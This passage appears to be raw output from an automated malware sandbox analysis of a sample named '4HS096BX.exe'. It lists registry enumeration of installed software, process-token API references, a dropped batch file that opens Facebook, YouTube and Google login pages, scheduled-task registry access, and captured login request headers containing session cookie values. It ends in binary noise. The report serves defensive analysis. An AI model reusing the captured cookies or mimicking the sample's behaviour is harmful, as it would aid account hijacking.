"4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYNAME") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADDRESSBOOK"; Key: "DISPLAYVERSION") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYNAME") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE AIR"; Key: "DISPLAYVERSION") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYNAME") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE FLASH PLAYER ACTIVEX"; Key: "DISPLAYVERSION") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYNAME") "4HS096BX.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\ADOBE SHOCKWAVE PLAYER"; Key: "DISPLAYVERSION")55:T478,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "file") file/memory contains long string with (Indicator: "OpenProcess"; File: "file") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "2Pm6119.exe.3559109532") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00000600.00000000.67183.00AA2000.00000020.mdmp") Found reference to API "NtOpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00001716.00000001.72122.00C91000.00000020.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00001716.00000001.72122.6B88F000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00001980.00000000.67166.002D0000.00000004.mdmp, 00000000-00001980.00000001.67889.002D0000.00000004.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00001980.00000001.67889.0130A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00001980.00000001.67889.0130A000.00000002.mdmp")56:T849,Found string "https://www.youtube.com/" (Indicator: "youtube"; File: "file") Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "file") Found string "@shift /0start "" https://www.facebook.com/loginstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "facebook.com"; File: "8A56.bat") file/memory contains long string with (Indicator: "youtube"; File: "NLHJJZ42.txt") file/memory contains long string with (Indicator: "youtube"; File: "css_2_.css") file/memory contains long string with (Indicator: "facebook.com"; File: "L4O7VE4S.txt") Found string "VISITOR_INFO1_LIVEGhf7ytJ43n0youtube.com/921725971660831100927162654198931064751CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217239759923231067533162638598931064751" (Indicator: "youtube"; File: "KR259JFR.txt") Found string "0qcdvVahSDgUpmgh7..BlMSoW.-F.AAA.0.0.BlMSoW.AWUYJdEktiYfacebook.com/921758261068831082822203854051231064749FioxZftDGuBv4M4N00xkfk4qfacebook.com/9217212706483231145183172973250631064749" (Indicator: "facebook.com"; File: "E15HCYTN.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217239759923231067533162638598931064751" (Indicator: "youtube"; File: "XFQAL204.txt") Found string "CheckConnectionTempCookie636799964accounts.youtube.com/accounts/2147484752332171481631064754322523572831064754" (Indicator: "youtube"; File: "AZLNJ9T5.txt") Found string "CheckConnectionTempCookie274980253accounts.youtube.com/accounts/2147484752380787231064818420824271431064817" (Indicator: "youtube"; File: "BA290XC2.txt") Found string "FioxZftDGuBv4M4N00xkfk4qfacebook.com/9217212706483231145183172973250631064749" (Indicator: "facebook.com"; File: "S2F4O9AN.txt") Found string "accounts.youtube.com" (Indicator: "youtube"; File: "PCAP") Found string "facebook.com" (Indicator: "facebook.com"; File: "PCAP") Found string "www.youtube.com" (Indicator: "youtube"; File: "PCAP") file/memory contains long string with (Indicator: "facebook.com"; File: "SSL")57:Te2c,Observed system executable string:"C:\Windows\system32\apphelp.dll" [Source: 00002752.00000AC0.319533.00050000.wprm] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP000.TMP\"" [Source: 00000000-00002148-00000BC1-23889725] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP001.TMP\"" [Source: 00000000-00003616-00000BC1-24247990] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP002.TMP\"" [Source: 00000000-00002904-00000BC1-24569524] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP003.TMP\"" [Source: 00000000-00002752-00000BC1-24836060] Observed system executable string:"rundll32.exe %WINDIR%\system32\advpack.dll,DelNodeRunDLL32 "%TEMP%\IXP004.TMP\"" [Source: 00000000-00001980-00000BC1-25128606] Observed system executable string:"C:\Windows\system32\kernel32.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\KERNELBASE.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\ADVAPI32.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\msvcrt.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\RPCRT4.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\SHELL32.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\SHLWAPI.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\SYSTEM32\sechost.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\GDI32.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\USER32.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\LPK.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\USP10.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\WININET.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-downlevel-user32-l1-1-0.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-downlevel-shlwapi-l1-1-0.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-downlevel-version-l1-1-0.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:":\Windows\system32\api-ms-win-appmodel-runtime-l1-1-2.DLL" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\api-ms-win-downlevel-normaliz-l1-1-0.dll" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp] Observed system executable string:"C:\Windows\system32\version.DLL" [Source: 00000000-00002444.00000000.70979.002E0000.00000004.mdmp]58:T681,"schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\PROGID"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKCU\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: "INPROCSERVER32"; Value: "") "schtasks.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\INPROCSERVER32"; Key: ""; Value: "")59:T368d,Found requests in header "GET / HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /ServiceLogin?passive=1209600&continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:R-NGwoBPezz88CD1Dw8CyurJGgCwWQ:CftYg3tyi0qteDneConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&followup=https://accounts.google.com/&passive=1209600&ifkv=AVQVeyykEBEd1Y-ozhd9ThRJsvTET9NzhMKze-q7iymBGSKeh8AMzIMezCBLugzPq8QYV8LVZMEvbg HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:B-D2pHGCymJRoQXxLH4p7O8pGsUWlw:yR1QN7UcqIri40GiConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzwCNbS6uPn3l0Ro4MfOp7EU67zqzVUCdxFEakeECFVim_3zNT9DoJoXq6k_Rp4GLcHT0sQUQ&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S1526823171%3A1697720855630494&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: accounts.google.comCookie: __Host-GAPS=1:B-D2pHGCymJRoQXxLH4p7O8pGsUWlw:yR1QN7UcqIri40GiConnection: Keep-AliveAccept-Language: en-US"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:B-D2pHGCymJRoQXxLH4p7O8pGsUWlw:yR1QN7UcqIri40Gi"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=-649591859587527915&bl=boq_identityfrontendauthuiserver_20231015.08_p1&hl=en-US&_reqid=70511&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S1526823171:1697720855630494",null,null,"AVQVeyzwCNbS6uPn3l0Ro4MfOp7EU67zqzVUCdxFEakeECFVim_3zNT9DoJoXq6k_Rp4GLcHT0sQUQ"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 165DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:B-D2pHGCymJRoQXxLH4p7O8pGsUWlw:yR1QN7UcqIri40Gi"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:B-D2pHGCymJRoQXxLH4p7O8pGsUWlw:yR1QN7UcqIri40Gi"; in File: "SSL") Found requests in header "GET /generate_204?d17H6A HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:1wh0XVQj1SXnmMgWKKw1djRuqBhCmw:PpE8A2GY62kyTRlF; OTZ=7257216_48_52_123900_48_436380"; in File: "SSL") Found requests in header "GET /restart?continue=https%3A%2F%2Faccounts.google.com%2F&dsh=S1526823171%3A1697720855630494&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzwCNbS6uPn3l0Ro4MfOp7EU67zqzVUCdxFEakeECFVim_3zNT9DoJoXq6k_Rp4GLcHT0sQUQ&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:1wh0XVQj1SXnmMgWKKw1djRuqBhCmw:PpE8A2GY62kyTRlF; OTZ=7257216_48_52_123900_48_436380; NID=511=kwcRVapcFEliS0vP454ifJgiQbPDhOXcYXoyVL2t2Ct9NdMkEWu7zLrTqzyZUksFH08cfSQhHG76peo8qBqw6lbNYaQyXuyJeMnFSG_bpcvbjG8jMMg_-4g1yD7468_e5_IDH3VjH_f-kaX85SKeky7QFNFW0vvnnOiDn4oMd3E"; in File: "SSL") Found requests in header "GET /v3/signin/_/AccountsSignInUi/gen204/?tmambps=0.0000015413542053827148&rtembps=-1&rttms=1 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:1wh0XVQj1SXnmMgWKKw1djRuqBhCmw:PpE8A2GY62kyTRlF; OTZ=7257216_48_52_123900_48_436380; NID=511=kwcRVapcFEliS0vP454ifJgiQbPDhOXcYXoyVL2t2Ct9NdMkEWu7zLrTqzyZUksFH08cfSQhHG76peo8qBqw6lbNYaQyXuyJeMnFSG_bpcvbjG8jMMg_-4g1yD7468_e5_IDH3VjH_f-kaX85SKeky7QFNFW0vvnnOiDn4oMd3E"; in File: "SSL") Found requests in header "GET /ServiceLogin?continue=https%3A%2F%2Faccounts.google.com%2F&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeyzwCNbS6uPn3l0Ro4MfOp7EU67zqzVUCdxFEakeECFVim_3zNT9DoJoXq6k_Rp4GLcHT0sQUQ&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comCookie: __Host-GAPS=1:3s3TiG3eri44jqxDkpUqtuMbjuxUFQ:n1RaP-yKjHlg_VuT; OTZ=7257216_48_52_123900_48_436380; NID=511=kwcRVapcFEliS0vP454ifJgiQbPDhOXcYXoyVL2t2Ct9NdMkEWu7zLrTqzyZUksFH08cfSQhHG76peo8qBqw6lbNYaQyXuyJeMnFSG_bpcvbjG8jMMg_-4g1yD7468_e5_IDH3VjH_f-kaX85SKeky7QFNFW0vvnnOiDn4oMd3EConnection: Keep-AliveDNT: 1"; in File: "SSL") Found requests in header "GET /InteractiveLogin?continue=https://accounts.google.com/&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https://accounts.google.com/&ifkv=AVQVeyzwCNbS6uPn3l0Ro4MfOp7EU67zqzVUCdxFEakeECFVim_3zNT9DoJoXq6k_Rp4GLcHT0sQUQ&theme=glif HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comConnection: Keep-AliveDNT: 1Cookie: __Host-GAPS=1:h1GX4C9MZ39Vw1xjNX9bASDcSwxl8w:cuXG59gsY-NLbBaK; OTZ=7257216_48_52_123900_48_436380; NID=511=kwcRVapcFEliS0vP454ifJgiQbPDhOXcYXoyVL2t2Ct9NdMkEWu7zLrTqzyZUksFH08cfSQhHG76peo8qBqw6lbNYaQyXuyJeMnFSG_bpcvbjG8jMMg_-4g1yD7468_e5_IDH3VjH_f-kaX85SKeky7QFNFW0vvnnOiDn4oMd3E"; in File: "SSL") Found requests in header "GET /v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&flowEntry=ServiceLogin&flowName=GlifWebSignIn&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVQVeywz2vjdtWWpexbuqE83Zsmtjmga8uUHLKJnGlkdAIvbdBm0y9Avx59pzy6hrDEXtewkiI1E&theme=glif&dsh=S1711862899%3A1697720924125651 HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:h1GX4C9MZ39Vw1xjNX9bASDcSwxl8w:cuXG59gsY-NLbBaK; OTZ=7257216_48_52_123900_48_436380; NID=511=kwcRVapcFEliS0vP454ifJgiQbPDhOXcYXoyVL2t2Ct9NdMkEWu7zLrTqzyZUksFH08cfSQhHG76peo8qBqw6lbNYaQyXuyJeMnFSG_bpcvbjG8jMMg_-4g1yD7468_e5_IDH3VjH_f-kaX85SKeky7QFNFW0vvnnOiDn4oMd3E"; in File: "SSL") Found requests in header "GET /favicon.ico HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:h1GX4C9MZ39Vw1xjNX9bASDcSwxl8w:cuXG59gsY-NLbBaK; OTZ=7257216_48_52_123900_48_436380; NID=511=kwcRVapcFEliS0vP454ifJgiQbPDhOXcYXoyVL2t2Ct9NdMkEWu7zLrTqzyZUksFH08cfSQhHG76peo8qBqw6lbNYaQyXuyJeMnFSG_bpcvbjG8jMMg_-4g1yD7468_e5_IDH3VjH_f-kaX85SKeky7QFNFW0vvnnOiDn4oMd3E"; in File: "SSL") Found requests in header "POST /v3/signin/_/AccountsSignInUi/data/batchexecute?rpcids=UEkKwb&source-path=%2Fv3%2Fsignin%2Fidentifier&f.sid=6590466425080932267&bl=boq_identityfrontendauthuiserver_20231015.08_p1&hl=en-US&_reqid=11298&rt=c HTTP/1.1Accept: */*X-Same-Domain: 1x-goog-ext-278367001-jspb: ["GlifWebSignIn"]x-goog-ext-391502476-jspb: ["S1711862899:1697720924125651",null,null,"AVQVeywz2vjdtWWpexbuqE83Zsmtjmga8uUHLKJnGlkdAIvbdBm0y9Avx59pzy6hrDEXtewkiI1E"]Content-Type: application/x-www-form-urlencoded;charset=utf-8Referer: https://accounts.google.com/Accept-Language: en-USAccept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoHost: accounts.google.comContent-Length: 165DNT: 1Connection: Keep-AliveCache-Control: no-cacheCookie: __Host-GAPS=1:h1GX4C9MZ39Vw1xjNX9bASDcSwxl8w:cuXG59gsY-NLbBaK; OTZ=7257216_48_52_123900_48_436380; NID=511=kwcRVapcFEliS0vP454ifJgiQbPDhOXcYXoyVL2t2Ct9NdMkEWu7zLrTqzyZUksFH08cfSQhHG76peo8qBqw6lbNYaQyXuyJeMnFSG_bpcvbjG8jMMg_-4g1yD7468_e5_IDH3VjH_f-kaX85SKeky7QFNFW0vvnnOiDn4oMd3E"; in File: "SSL") Found requests in header "GET /_/bscframe HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:h1GX4C9MZ39Vw1xjNX9bASDcSwxl8w:cuXG59gsY-NLbBaK; OTZ=7257216_48_52_123900_48_436380; NID=511=kwcRVapcFEliS0vP454ifJgiQbPDhOXcYXoyVL2t2Ct9NdMkEWu7zLrTqzyZUksFH08cfSQhHG76peo8qBqw6lbNYaQyXuyJeMnFSG_bpcvbjG8jMMg_-4g1yD7468_e5_IDH3VjH_f-kaX85SKeky7QFNFW0vvnnOiDn4oMd3E"; in File: "SSL") Found requests in header "GET /generate_204?t87zSA HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://accounts.google.com/Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: accounts.google.comDNT: 1Connection: Keep-AliveCookie: __Host-GAPS=1:Y7WDLd1IAnMtdvBYHmPhmO4MLiwH9w:EWjzyfUUzjL5imoZ; OTZ=7257216_48_52_123900_48_436380; NID=511=kwcRVapcFEliS0vP454ifJgiQbPDhOXcYXoyVL2t2Ct9NdMkEWu7zLrTqzyZUksFH08cfSQhHG76peo8qBqw6lbNYaQyXuyJeMnFSG_bpcvbjG8jMMg_-4g1yD7468_e5_IDH3VjH_f-kaX85SKeky7QFNFW0vvnnOiDn4oMd3E"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=3.2.5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: facebook.comDNT: 1Connection: Keep-AliveCookie: fr=0qcdvVahSDgUpmgh7..BlMSoW.-F.AAA.0.0.BlMSoW.AWUYJdEktiY; sb=FioxZftDGuBv4M4N00xkfk4q"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=2.5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Connection: Keep-AliveHost: fbcdn.net"; in File: "SSL") Found requests in header "GET /security/hsts-pixel.gif?c=5 HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateDNT: 1Host: fbsbx.comConnection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/y9/l/0,cross/2W2z89vRC58.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yr/l/0,cross/zihuVctRJY1.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yw/l/0,cross/M81Pw8pBYSJ.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yX/l/0,cross/OOjRP9ZKS4_.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL") Found requests in header "GET /rsrc.php/v3/yi/l/0,cross/yotEdcUw9Gj.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1Accept: text/css, */*Referer: https://www.facebook.com/loginAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: static.xx.fbcdn.netDNT: 1Connection: Keep-Alive"; in File: "SSL")5a:Ta55a,"�)��gR�rZ�&��!�!3}�~.��j��62��C2o#d�z��~��r��F&aj}z��d2��.�62�N6��oH&��N]S��Ȭ��R�k�߈��(7��J��,�62/��:��Z�3��,�62��tz��F�L5��6�N+oTH��c�]�̿��o��o 